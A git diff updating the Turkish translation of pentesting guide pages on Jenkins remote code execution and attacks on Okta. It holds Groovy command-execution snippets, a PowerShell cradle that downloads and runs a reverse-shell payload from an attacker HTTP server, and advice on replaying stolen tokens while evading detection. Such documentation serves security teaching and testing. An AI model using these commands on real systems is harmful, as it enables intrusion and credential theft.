+> Bu betiklerin yalnızca `credentials.xml` dosyasındaki gizli bilgileri listeleyeceğini unutmayın, ancak **derleme yapılandırma dosyaları** da **daha fazla kimlik bilgisi** içerebilir.
`/script` içindeki Groovy Script konsolundan **tüm gizli bilgileri dökebilirsiniz** bu kodu çalıştırarak
```java
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 29477a663..682cb5cb0 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -1,10 +1,10 @@
-# Jenkins RCE Creating/Modifying Pipeline
+# Jenkins RCE Pipeline Oluşturma/Düzenleme
{{#include ../../banners/hacktricks-training.md}}
## Yeni Bir Pipeline Oluşturma
-"Yeni Öğe" ( `/view/all/newJob` adresinde erişilebilir) kısmında **Pipeline** seçin:
+"Yeni Öğe" ( `/view/all/newJob` içinde erişilebilir) seçin **Pipeline:**
.png>)
@@ -32,6 +32,6 @@ Son olarak **Kaydet** ve **Şimdi Oluştur** butonuna tıklayın, ve pipeline ç
## Bir Pipeline'ı Değiştirme
-Eğer yapılandırılmış bir pipeline'ın yapılandırma dosyasına erişiminiz varsa, sadece **ters shell'inizi ekleyerek değiştirmeniz** yeterlidir ve ardından çalıştırabilir veya çalıştırılmasını bekleyebilirsiniz.
+Eğer yapılandırılmış bir pipeline'ın yapılandırma dosyasına erişiminiz varsa, sadece **ters shell'inizi ekleyerek değiştirebilirsiniz** ve ardından çalıştırabilir veya çalıştırılmasını bekleyebilirsiniz.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 37ff94fd4..3d019ec40 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -1,20 +1,20 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Proje Oluşturma/Düzenleme
{{#include ../../banners/hacktricks-training.md}}
-## Creating a Project
+## Proje Oluşturma
Bu yöntem çok gürültülü çünkü tamamen yeni bir proje oluşturmanız gerekiyor (bu, kullanıcının yeni bir proje oluşturmasına izin veriliyorsa çalışır).
1. **Yeni bir proje oluşturun** (Freestyle projesi) "Yeni Öğe"ye tıklayarak veya `/view/all/newJob` adresine giderek
2. **Build** bölümünde **Shell'i çalıştır** seçeneğini ayarlayın ve bir powershell Empire başlatıcısı veya bir meterpreter powershell yapıştırın (bu _unicorn_ kullanılarak elde edilebilir). Yükü _PowerShell.exe_ ile başlatın, _powershell._ yerine.
3. **Şimdi inşa et** butonuna tıklayın
-1. **Şimdi inşa et** butonu görünmüyorsa, yine de **yapılandır** --> **Yapı Tetikleyicileri** --> `Düzenli olarak inşa et` kısmına gidebilir ve `* * * * *` şeklinde bir cron ayarlayabilirsiniz.
-2. Cron kullanmak yerine, sadece işi tetiklemek için bir api token adı ayarlamanız gereken "**Uzakta inşaat tetikleyin**" yapılandırmasını kullanabilirsiniz. Ardından kullanıcı profilinize gidin ve **bir API token oluşturun** (bu API token'ı işi tetiklemek için kullandığınız gibi adlandırın). Son olarak, işi tetiklemek için: **`curl :@/job//build?token=`**
+1. Eğer **Şimdi inşa et** butonu görünmüyorsa, yine de **ayarlar** --> **İnşa Tetikleyicileri** --> `Düzenli olarak inşa et` kısmına gidebilir ve `* * * * *` şeklinde bir cron ayarlayabilirsiniz.
+2. Cron kullanmak yerine, sadece işi tetiklemek için bir api token adı ayarlamanız gereken "**Uzakta inşaları tetikle**" ayarını kullanabilirsiniz. Ardından kullanıcı profilinize gidin ve **bir API token oluşturun** (bu API token'ı işi tetiklemek için kullandığınız gibi adlandırın). Son olarak, işi tetiklemek için: **`curl :@/job//build?token=`** komutunu kullanın.
.png>)
-## Modifying a Project
+## Projeyi Düzenleme
Projeleri kontrol edin ve **herhangi birini yapılandırıp yapılandıramayacağınızı** kontrol edin ( "Yapılandır" butonunu arayın):
@@ -22,15 +22,15 @@ Projeleri kontrol edin ve **herhangi birini yapılandırıp yapılandıramayaca
Eğer **hiçbir** **yapılandırma** **butonu** göremiyorsanız, muhtemelen **yapılandıramazsınız** (ancak bazı projeleri yapılandırma yetkiniz olabilir, bu yüzden tüm projeleri kontrol edin).
-Ya da her projede **/job//configure** veya **/me/my-views/view/all/job//configure** yoluna erişmeyi **deneyin** (örnek: `/job/Project0/configure` veya `/me/my-views/view/all/job/Project0/configure`).
+Ya da **/job//configure** veya **/me/my-views/view/all/job//configure** yoluna erişmeyi deneyin \_\_ her projede (örnek: `/job/Project0/configure` veya `/me/my-views/view/all/job/Project0/configure`).
-## Execution
+## Çalıştırma
-Projeyi yapılandırmanıza izin veriliyorsa, **başarılı bir inşaat olduğunda komutları çalıştırmasını sağlayabilirsiniz**:
+Projeyi yapılandırmanıza izin veriliyorsa, **başarılı bir inşa olduğunda komutları çalıştırmasını sağlayabilirsiniz**:
.png>)
-**Kaydet**'e tıklayın ve projeyi **inşa edin** ve **komutunuz çalıştırılacaktır**.\
-Eğer bir ters shell çalıştırmıyorsanız ama basit bir komut çalıştırıyorsanız, **komutun çıktısını inşaatın çıktısında görebilirsiniz**.
+**Kaydet** butonuna tıklayın ve projeyi **inşa edin**, böylece **komutunuz çalıştırılacaktır**.\
+Eğer bir ters shell çalıştırmıyorsanız ama basit bir komut çalıştırıyorsanız, **komutun çıktısını inşanın çıktısında görebilirsiniz**.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 64db32da3..34f0b3413 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -4,10 +4,10 @@
## Jenkins RCE with Groovy Script
-Bu, Jenkins'te yeni bir proje oluşturmaktan daha az gürültülüdür.
+Bu, Jenkins'te yeni bir proje oluşturmaktan daha az gürültülü.
-1. _path_jenkins/script_ yoluna gidin
-2. Metin kutusuna script'i ekleyin
+1. _path_jenkins/script_ yoluna gidin.
+2. Metin kutusuna script'i ekleyin.
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
@@ -18,7 +18,7 @@ Bir komutu şu şekilde çalıştırabilirsiniz: `cmd.exe /c dir`
Metin içinde _tırnak_ ve _tek tırnak_ kullanmanız gerekiyorsa, yükü çalıştırmak için _"""PAYLOAD"""_ (üçlü çift tırnak) kullanabilirsiniz.
-**Başka bir yararlı groovy script** şudur ( \[INSERT COMMAND] kısmını değiştirin):
+**Başka bir yararlı groovy script** şudur ( \[INSERT COMMAND] ile değiştirin):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -36,7 +36,7 @@ println "out> $sout err> $serr"
```
### Windows'ta Ters Shell
-Bir PS ters shell ile bir HTTP sunucusu hazırlayabilir ve bunu indirmek ve çalıştırmak için Jeking kullanabilirsiniz:
+Bir PS ters shell ile HTTP sunucusu hazırlayabilir ve bunu indirmek ve çalıştırmak için Jeking kullanabilirsiniz:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
@@ -46,7 +46,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
Bu süreci [**bu script ile**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) otomatikleştirebilirsiniz.
-Ters bir shell almak için MSF kullanabilirsiniz:
+Bir ters shell almak için MSF kullanabilirsiniz:
```
msf> use exploit/multi/http/jenkins_script_console
```
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 7357a60ee..ce9973c53 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -4,29 +4,29 @@
## Temel Bilgiler
-[Okta, Inc.](https://www.okta.com/) kimlik ve erişim yönetimi sektöründe bulut tabanlı yazılım çözümleri ile tanınmaktadır. Bu çözümler, çeşitli modern uygulamalar arasında kullanıcı kimlik doğrulamasını kolaylaştırmak ve güvence altına almak için tasarlanmıştır. Hassas verilerini korumak isteyen şirketlere ve uygulamalara, web hizmetlerine ve cihazlara kimlik kontrollerini entegre etmekle ilgilenen geliştiricilere hitap etmektedir.
+[Okta, Inc.](https://www.okta.com/) kimlik ve erişim yönetimi sektöründe bulut tabanlı yazılım çözümleri ile tanınmaktadır. Bu çözümler, çeşitli modern uygulamalar arasında kullanıcı kimlik doğrulamasını kolaylaştırmak ve güvence altına almak için tasarlanmıştır. Hem hassas verilerini korumak isteyen şirketlere hem de kimlik kontrollerini uygulamalara, web hizmetlerine ve cihazlara entegre etmekle ilgilenen geliştiricilere hitap etmektedir.
Okta'nın amiral gemisi ürünü **Okta Identity Cloud**'dır. Bu platform, aşağıdakiler de dahil olmak üzere bir dizi ürünü kapsamaktadır:
-- **Tek Oturum Açma (SSO)**: Birden fazla uygulama arasında tek bir oturum açma kimlik bilgisi seti ile kullanıcı erişimini basitleştirir.
+- **Tek Oturum Açma (SSO)**: Birden fazla uygulama için tek bir oturum açma kimlik bilgisi seti ile kullanıcı erişimini basitleştirir.
- **Çok Faktörlü Kimlik Doğrulama (MFA)**: Birden fazla doğrulama biçimi gerektirerek güvenliği artırır.
- **Yaşam Döngüsü Yönetimi**: Kullanıcı hesaplarının oluşturulması, güncellenmesi ve devre dışı bırakılması süreçlerini otomatikleştirir.
- **Evrensel Dizin**: Kullanıcıların, grupların ve cihazların merkezi yönetimini sağlar.
- **API Erişim Yönetimi**: API'lere erişimi güvence altına alır ve yönetir.
-Bu hizmetler, veri korumasını güçlendirmeyi ve kullanıcı erişimini kolaylaştırmayı amaçlamaktadır, böylece hem güvenliği hem de rahatlığı artırmaktadır. Okta'nın çözümlerinin çok yönlülüğü, onları çeşitli endüstrilerde popüler bir seçim haline getirmekte, büyük işletmelere, küçük şirketlere ve bireysel geliştiricilere fayda sağlamaktadır. Eylül 2021'deki son güncelleme itibarıyla, Okta Kimlik ve Erişim Yönetimi (IAM) alanında önde gelen bir varlık olarak kabul edilmektedir.
+Bu hizmetler, veri korumasını güçlendirmeyi ve kullanıcı erişimini kolaylaştırmayı amaçlamaktadır, böylece hem güvenliği hem de rahatlığı artırmaktadır. Okta'nın çözümlerinin çok yönlülüğü, onları çeşitli endüstrilerde popüler bir seçim haline getirmekte, büyük işletmelere, küçük şirketlere ve bireysel geliştiricilere fayda sağlamaktadır. Eylül 2021'deki son güncelleme itibarıyla, Okta Kimlik ve Erişim Yönetimi (IAM) alanında önde gelen bir varlık olarak tanınmaktadır.
> [!CAUTION]
> Okta'nın ana hedefi, farklı kullanıcılar ve gruplar için dış uygulamalara erişimi yapılandırmaktır. Eğer bir **Okta** ortamında **yönetici ayrıcalıklarını ele geçirirseniz**, şirketin kullandığı **diğer tüm platformları ele geçirme** olasılığınız oldukça yüksektir.
> [!TIP]
-> Bir Okta ortamının güvenlik incelemesini gerçekleştirmek için **yönetici salt okunur erişimi** talep etmelisiniz.
+> Bir Okta ortamının güvenlik incelemesini gerçekleştirmek için **yönetici yalnızca okuma erişimi** talep etmelisiniz.
### Özet
**Kullanıcılar** (Okta'da **saklanabilir**, yapılandırılmış **Kimlik Sağlayıcılarından** oturum açabilir veya **Active Directory** veya LDAP aracılığıyla kimlik doğrulaması yapılabilir).\
Bu kullanıcılar **gruplar** içinde olabilir.\
-Ayrıca **kimlik doğrulayıcılar** vardır: şifre gibi kimlik doğrulama için farklı seçenekler ve WebAuthn, e-posta, telefon, Okta doğrulama gibi çeşitli 2FA (bunlar etkinleştirilebilir veya devre dışı bırakılabilir)...
+Ayrıca **kimlik doğrulayıcılar** vardır: şifre gibi kimlik doğrulama seçenekleri ve WebAuthn, e-posta, telefon, okta doğrulama gibi çeşitli 2FA (bunlar etkinleştirilebilir veya devre dışı bırakılabilir)...
Daha sonra, Okta ile senkronize edilmiş **uygulamalar** vardır. Her uygulama, bilgi paylaşmak için Okta ile bazı **eşleştirmelere** sahip olacaktır (örneğin e-posta adresleri, adlar...). Ayrıca, her uygulama bir **Kimlik Doğrulama Politikası** içinde olmalıdır; bu, bir kullanıcının uygulamaya **erişmesi** için gereken **kimlik doğrulayıcıları** belirtir.
@@ -39,25 +39,25 @@ Daha sonra, Okta ile senkronize edilmiş **uygulamalar** vardır. Her uygulama,
### Okta Portalını Bulma
-Genellikle bir şirketin portalı **companyname.okta.com** adresinde bulunur. Eğer bulamazsanız, **companyname.** için basit **varyasyonlar** deneyin. Bulamazsanız, organizasyonun **Okta portalına** işaret eden **CNAME** kaydı olabilir, örneğin **`okta.companyname.com`**.
+Genellikle bir şirketin portalı **companyname.okta.com** adresinde bulunur. Eğer bulamazsanız, **companyname.** için basit **varyasyonlar** deneyin. Eğer bulamazsanız, organizasyonun **Okta portalına** işaret eden **CNAME** kaydı olabilir, örneğin **`okta.companyname.com`**.
### Kerberos ile Okta'ya Giriş
-Eğer **`companyname.kerberos.okta.com`** aktifse, **Kerberos Okta erişimi için kullanılır**, genellikle **Windows** kullanıcıları için **MFA**'yı atlayarak. AD'de Kerberos ile kimlik doğrulaması yapılmış Okta kullanıcılarını bulmak için **`getST.py`**'yi **uygun parametrelerle** çalıştırın. Bir **AD kullanıcı bileti** elde ettikten sonra, bunu kontrol edilen bir hosta **Rubeus** veya **Mimikatz** gibi araçlar kullanarak **enjekte** edin, **`clientname.kerberos.okta.com`'un Internet Seçenekleri "İntranet" alanında** olduğundan emin olun. Belirli bir URL'ye erişmek, Kerberos biletinin kabul edildiğini gösteren bir JSON "OK" yanıtı döndürmeli ve Okta kontrol paneline erişim sağlamalıdır.
+Eğer **`companyname.kerberos.okta.com`** aktifse, **Kerberos Okta erişimi için kullanılır**, genellikle **Windows** kullanıcıları için **MFA**'yı atlayarak. AD'de Kerberos ile kimlik doğrulaması yapılmış Okta kullanıcılarını bulmak için **`getST.py`**'yi **uygun parametrelerle** çalıştırın. Bir **AD kullanıcı bileti** aldıktan sonra, bunu kontrol edilen bir hosta **Rubeus** veya **Mimikatz** gibi araçlar kullanarak **enjekte** edin, **`clientname.kerberos.okta.com`'un Internet Seçenekleri "İntranet" alanında** olduğundan emin olun. Belirli bir URL'ye erişmek, Kerberos biletinin kabul edildiğini gösteren bir JSON "OK" yanıtı döndürmeli ve Okta kontrol paneline erişim sağlamalıdır.
-**Okta hizmet hesabını delege SPN ile ele geçirmek, bir Silver Ticket saldırısını mümkün kılar.** Ancak, Okta'nın bilet şifrelemesi için **AES** kullanması, AES anahtarına veya düz metin şifresine sahip olmayı gerektirir. **`ticketer.py`'yi kullanarak kurban kullanıcı için bir bilet oluşturun** ve bunu tarayıcı aracılığıyla Okta ile kimlik doğrulamak için iletin.
+**Okta hizmet hesabını delege SPN ile ele geçirmek, bir Silver Ticket saldırısını mümkün kılar.** Ancak, Okta'nın bilet şifrelemesi için **AES** kullanması, AES anahtarına veya düz metin şifreye sahip olmayı gerektirir. **`ticketer.py`'yi kullanarak kurban kullanıcı için bir bilet oluşturun** ve bunu tarayıcı aracılığıyla Okta ile kimlik doğrulamak için iletin.
**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Okta AD Ajanını Ele Geçirme
-Bu teknik, **kullanıcıları senkronize eden ve kimlik doğrulamasını yöneten bir sunucudaki Okta AD Ajanına erişmeyi** içerir. **`OktaAgentService.exe.config`** dosyasındaki yapılandırmaları inceleyerek ve şifrelerini çözerek, özellikle **DPAPI** kullanarak AgentToken'ı ele geçiren bir saldırgan, kimlik doğrulama verilerini **yakalama ve manipüle etme** potansiyeline sahip olabilir. Bu, yalnızca Okta kimlik doğrulama sürecinde kullanıcı kimlik bilgilerini düz metin olarak **izleme** ve **yakalama** sağlamakla kalmaz, aynı zamanda kimlik doğrulama girişimlerine **yanıt verme** yeteneği de sağlar; böylece yetkisiz erişim sağlanabilir veya Okta aracılığıyla evrensel kimlik doğrulama sağlanabilir (bir 'skeleton key' gibi).
+Bu teknik, **kullanıcıları senkronize eden ve kimlik doğrulamasını yöneten bir sunucudaki Okta AD Ajanına erişmeyi** içerir. **`OktaAgentService.exe.config`** içindeki yapılandırmaları inceleyerek ve şifrelerini çözerek, özellikle **DPAPI** kullanarak AgentToken'ı ele geçiren bir saldırgan, **kimlik doğrulama verilerini** potansiyel olarak **yakalamak ve manipüle etmek** için fırsat bulabilir. Bu, yalnızca Okta kimlik doğrulama sürecinde kullanıcı kimlik bilgilerini düz metin olarak **izleme** ve **yakalama** sağlamakla kalmaz, aynı zamanda kimlik doğrulama girişimlerine **yanıt verme** yeteneği de sağlar; böylece yetkisiz erişim sağlanabilir veya Okta aracılığıyla evrensel kimlik doğrulama sağlanabilir (bir 'anahtar' gibi).
**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Yönetici Olarak AD'yi Ele Geçirme
-Bu teknik, önce bir OAuth Kodu elde ederek bir Okta AD Ajanını ele geçirmeyi içerir, ardından bir API token'ı talep edilir. Token, bir AD alanı ile ilişkilidir ve **sahte bir AD ajanı oluşturmak için bir bağlantı adı verilir**. Başlatma, ajanın **kimlik doğrulama girişimlerini işleme** almasına olanak tanır ve Okta API'si aracılığıyla kimlik bilgilerini yakalar. Bu süreci kolaylaştırmak için otomasyon araçları mevcuttur ve Okta ortamında kimlik doğrulama verilerini yakalamak ve işlemek için sorunsuz bir yöntem sunar.
+Bu teknik, önce bir OAuth Kodu elde ederek bir Okta AD Ajanını ele geçirmeyi içerir, ardından bir API token'ı talep edilir. Token, bir AD alanı ile ilişkilidir ve **sahte bir AD ajanı oluşturmak için bir bağlantı adı verilir**. Başlatma, ajanın **kimlik doğrulama girişimlerini işlemesine** olanak tanır ve Okta API'si aracılığıyla kimlik bilgilerini yakalar. Bu süreci kolaylaştırmak için otomasyon araçları mevcuttur ve Okta ortamında kimlik doğrulama verilerini yakalamak ve işlemek için sorunsuz bir yöntem sunar.
**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
@@ -65,7 +65,7 @@ Bu teknik, önce bir OAuth Kodu elde ederek bir Okta AD Ajanını ele geçirmeyi
**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-Bu teknik, **sahte bir SAML sağlayıcısı dağıtmayı** içerir. Okta'nın çerçevesine bir dış Kimlik Sağlayıcısı (IdP) entegre ederek, saldırganlar **IdP'yi kontrol edebilir ve istedikleri zaman herhangi bir kimlik doğrulama talebini onaylayabilir**. Süreç, Okta'da bir SAML 2.0 IdP kurmayı, yerel hosts dosyası aracılığıyla yönlendirme için IdP Tek Oturum Açma URL'sini manipüle etmeyi, kendinden imzalı bir sertifika oluşturmayı ve Okta ayarlarını kullanıcı adı veya e-posta ile eşleşecek şekilde yapılandırmayı içerir. Bu adımları başarıyla gerçekleştirmek, herhangi bir Okta kullanıcısı olarak kimlik doğrulama sağlamaya olanak tanır; bu, bireysel kullanıcı kimlik bilgilerine ihtiyaç duymadan erişim kontrolünü önemli ölçüde artırır.
+Bu teknik, **sahte bir SAML sağlayıcısı dağıtmayı** içerir. Okta'nın çerçevesine bir dış Kimlik Sağlayıcısı (IdP) entegre ederek, saldırganlar **IdP'yi kontrol edebilir ve istedikleri zaman herhangi bir kimlik doğrulama talebini onaylayabilir**. Süreç, Okta'da bir SAML 2.0 IdP kurmayı, yerel hosts dosyası aracılığıyla yönlendirme için IdP Tek Oturum Açma URL'sini manipüle etmeyi, kendinden imzalı bir sertifika oluşturmayı ve Okta ayarlarını kullanıcı adı veya e-posta ile eşleşecek şekilde yapılandırmayı içerir. Bu adımları başarıyla gerçekleştirmek, herhangi bir Okta kullanıcısı olarak kimlik doğrulama sağlamaya olanak tanır; bu, bireysel kullanıcı kimlik bilgilerine ihtiyaç duymadan, erişim kontrolünü önemli ölçüde artırır.
### Evilgnix ile Okta Portalını Phishing
@@ -73,9 +73,9 @@ Bu teknik, **sahte bir SAML sağlayıcısı dağıtmayı** içerir. Okta'nın ç
### Meslektaş Taklit Saldırısı
-Her kullanıcının sahip olabileceği ve değiştirebileceği **nitelikler** (örneğin e-posta veya ad) Okta'da yapılandırılabilir. Eğer bir **uygulama**, bir kullanıcının **değiştirebileceği** bir **nitelik** olarak **güveniyorsa**, o platformda **diğer kullanıcıları taklit etme** yeteneğine sahip olacaktır.
+Her kullanıcının sahip olabileceği ve değiştirebileceği **nitelikler** (örneğin e-posta veya ad) Okta'da yapılandırılabilir. Eğer bir **uygulama**, bir kullanıcının **değiştirebileceği** bir **nitelik** olarak **ID'ye güveniyorsa**, o platformda **diğer kullanıcıları taklit etme** yeteneğine sahip olacaktır.
-Bu nedenle, eğer uygulama **`userName`** alanına güveniyorsa, muhtemelen bunu değiştiremeyeceksiniz (çünkü genellikle bu alanı değiştiremezsiniz), ancak eğer örneğin **`primaryEmail`** alanına güveniyorsa, bunu **bir meslektaşın e-posta adresine** değiştirme yeteneğine sahip olabilirsiniz ve onu taklit edebilirsiniz (değişikliği kabul etmek için e-postaya erişiminiz olması gerekecek).
+Bu nedenle, eğer uygulama **`userName`** alanına güveniyorsa, muhtemelen bunu değiştiremeyeceksiniz (çünkü genellikle bu alanı değiştiremezsiniz), ancak eğer örneğin **`primaryEmail`** alanına güveniyorsa, bunu **bir meslektaşın e-posta adresine değiştirme** olanağına sahip olabilirsiniz ve taklit edebilirsiniz (değişikliği kabul etmek için e-postaya erişiminiz olması gerekecek).
Bu taklit etme, her uygulamanın nasıl yapılandırıldığına bağlıdır. Sadece değiştirdiğiniz alana güvenen ve güncellemeleri kabul edenler tehlikeye girecektir.\
Bu nedenle, uygulamanın bu alanı etkinleştirmiş olması gerekir:
@@ -84,19 +84,19 @@ Bu nedenle, uygulamanın bu alanı etkinleştirmiş olması gerekir:
Ayrıca, o alana sahip olmayan ancak savunmasız olan diğer uygulamaları da gördüm (en sonunda farklı uygulamalar farklı şekilde yapılandırılmıştır).
-Her uygulamada birini taklit edip edemeyeceğinizi öğrenmenin en iyi yolu, bunu denemektir!
+Her uygulamada herhangi birini taklit edip edemeyeceğinizi öğrenmenin en iyi yolu, bunu denemektir!
-## Davranışsal tespit politikalarını atlatma
+## Davranışsal tespit politikalarından kaçınma
-Okta'daki davranışsal tespit politikaları, karşılaşılana kadar bilinmeyebilir, ancak bunları **doğrudan Okta uygulamalarını hedef alarak** **atlatmak** mümkündür; bu, ana Okta kontrol panelinden kaçınmayı içerir. Bir **Okta erişim token'ı** ile, token'ı ana giriş sayfası yerine **uygulama özel Okta URL'sinde** yeniden oynatın.
+Okta'daki davranışsal tespit politikaları, karşılaşılana kadar bilinmeyebilir, ancak bunları **doğrudan Okta uygulamalarını hedefleyerek** **atlatmak** mümkündür; bu, ana Okta kontrol panelinden kaçınmayı içerir. Bir **Okta erişim token'ı** ile, token'ı ana giriş sayfası yerine **uygulama özel Okta URL'sinde** yeniden oynatın.
Anahtar öneriler şunlardır:
-- **Popüler anonimleştirici proxy'leri ve VPN hizmetlerini kullanmaktan kaçının**; yakalanan erişim token'larını yeniden oynatırken.
+- **Popüler anonimleştirici proxy'ler ve VPN hizmetlerini kullanmaktan kaçının**; yakalanan erişim token'larını yeniden oynatırken.
- **İstemci ile yeniden oynatılan erişim token'ları arasında tutarlı kullanıcı ajanı dizgeleri** olduğundan emin olun.
- **Aynı IP adresinden farklı kullanıcılardan token'ları yeniden oynatmaktan kaçının.**
- Okta kontrol paneline karşı token'ları yeniden oynatırken dikkatli olun.
-- Kurban şirketinin IP adreslerinden haberdarsanız, **trafikleri** bu IP'lere veya aralıklarına kısıtlayın, diğer tüm trafiği engelleyin.
+- Eğer kurban şirketin IP adreslerini biliyorsanız, **trafikleri** bu IP'lere veya aralıklarına kısıtlayın, diğer tüm trafiği engelleyin.
## Okta Güçlendirme
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index 743d00fc2..bb71567f5 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -1,49 +1,49 @@
-# Okta Hardening
+# Okta Güçlendirme
{{#include ../../banners/hacktricks-training.md}}
-## Directory
+## Dizin
-### People
+### İnsanlar
-Saldırganlar açısından bu, **tüm kayıtlı kullanıcıları**, **e-posta** adreslerini, **ait oldukları grupları**, **profilleri** ve hatta **cihazları** (mobil cihazlar ve işletim sistemleri) görebileceğiniz için oldukça ilginçtir.
+Saldırganlar açısından bu, **tüm kayıtlı kullanıcıları**, **e-posta** adreslerini, **katıldıkları grupları**, **profilleri** ve hatta **cihazları** (mobil cihazlar ve işletim sistemleri) görebileceğiniz için oldukça ilginçtir.
Beyaz kutu incelemesi için, "**Bekleyen kullanıcı eylemi**" ve "**Şifre sıfırlama**" gibi birden fazla durumun olmadığından emin olun.
-### Groups
+### Gruplar
Burada Okta'da oluşturulan tüm grupları bulabilirsiniz. Kullanıcılara verilebilecek farklı grupların (**izin setleri**) anlaşılması ilginçtir.\
-Grupların içindeki **kişileri** ve her gruba atanan **uygulamaları** görebilirsiniz.
+Gruplara dahil olan **kişileri** ve her gruba atanan **uygulamaları** görebilirsiniz.
Elbette, **admin** ismine sahip herhangi bir grup ilginçtir, özellikle **Küresel Yöneticiler** grubu, en ayrıcalıklı üyelerin kimler olduğunu öğrenmek için üyeleri kontrol edin.
-Beyaz kutu incelemesinden, **5'ten fazla küresel yönetici olmamalıdır** (2 veya 3 olması daha iyidir).
+Beyaz kutu incelemesinden, **5'ten fazla küresel yönetici olmamalıdır** (en iyisi sadece 2 veya 3 olmasıdır).
-### Devices
+### Cihazlar
Burada tüm kullanıcıların **tüm cihazlarının listesini** bulabilirsiniz. Ayrıca, bunun **aktif olarak yönetilip yönetilmediğini** de görebilirsiniz.
-### Profile Editor
+### Profil Düzenleyici
-Burada, adlar, soyadlar, e-postalar, kullanıcı adları gibi anahtar bilgilerin Okta ve diğer uygulamalar arasında nasıl paylaşıldığını gözlemlemek mümkündür. Bu ilginçtir çünkü bir kullanıcı **Okta'da bir alanı** (örneğin adı veya e-postası) değiştirebiliyorsa ve bu alan bir **harici uygulama** tarafından kullanılıyorsa, bir içeriden biri **diğer hesapları ele geçirmeye** çalışabilir.
+Burada, adlar, soyadlar, e-postalar, kullanıcı adları gibi anahtar bilgilerin Okta ve diğer uygulamalar arasında nasıl paylaşıldığını gözlemlemek mümkündür. Bu ilginçtir çünkü bir kullanıcı **Okta'da bir alanı** (örneğin adı veya e-postası) değiştirebiliyorsa ve bu alan bir **harici uygulama** tarafından kullanılıyorsa, bir içeriden biri diğer hesapları **ele geçirmeye** çalışabilir.
-Ayrıca, Okta'daki profil **`Kullanıcı (varsayılan)`** bölümünde her **kullanıcının hangi alanlara sahip olduğunu** ve hangilerinin kullanıcılar tarafından **yazılabilir** olduğunu görebilirsiniz. Yönetici panelini göremiyorsanız, **profil bilgilerinizi güncelleyin** ve hangi alanları güncelleyebileceğinizi görün (bir e-posta adresini güncellemek için onu doğrulamanız gerektiğini unutmayın).
+Ayrıca, Okta'daki profil **`Kullanıcı (varsayılan)`** bölümünde her **kullanıcının hangi alanlara sahip olduğunu** ve hangilerinin kullanıcılar tarafından **yazılabilir** olduğunu görebilirsiniz. Yönetici panelini göremiyorsanız, **profil bilgilerinizi güncellemek** için gidin ve hangi alanları güncelleyebileceğinizi görün (bir e-posta adresini güncellemek için doğrulamanız gerektiğini unutmayın).
-### Directory Integrations
+### Dizin Entegrasyonları
-Dizinler, mevcut kaynaklardan insanları içe aktarmanıza olanak tanır. Burada, diğer dizinlerden içe aktarılan kullanıcıları göreceğinizi düşünüyorum.
+Dizinler, mevcut kaynaklardan insanları içe aktarmanıza olanak tanır. Burada diğer dizinlerden içe aktarılan kullanıcıları göreceğinizi düşünüyorum.
Bunu görmedim, ama bu, **Okta'nın kullanıcıları içe aktarmak için kullandığı diğer dizinleri** bulmak için ilginçtir, böylece eğer **o dizini tehlikeye atarsanız**, Okta'da oluşturulan kullanıcıların bazı nitelik değerlerini ayarlayabilir ve **belki de Okta ortamını tehlikeye atabilirsiniz**.
-### Profile Sources
+### Profil Kaynakları
-Bir profil kaynağı, kullanıcı profil nitelikleri için **gerçek kaynak olarak işlev gören bir uygulamadır**. Bir kullanıcı yalnızca bir uygulama veya dizin tarafından bir kerede kaynaklanabilir.
+Bir profil kaynağı, kullanıcı profil nitelikleri için **gerçek kaynak** olarak işlev gören bir **uygulamadır**. Bir kullanıcı yalnızca bir uygulama veya dizin tarafından bir kerede kaynaklanabilir.
Bunu görmedim, bu seçenekle ilgili güvenlik ve hacking hakkında herhangi bir bilgi takdir edilir.
-## Customizations
+## Özelleştirmeler
-### Brands
+### Markalar
Bu bölümün **Alanlar** sekmesinde, e-posta göndermek için kullanılan e-posta adreslerini ve şirketin Okta içindeki özel alanını kontrol edin (bunu muhtemelen zaten biliyorsunuzdur).
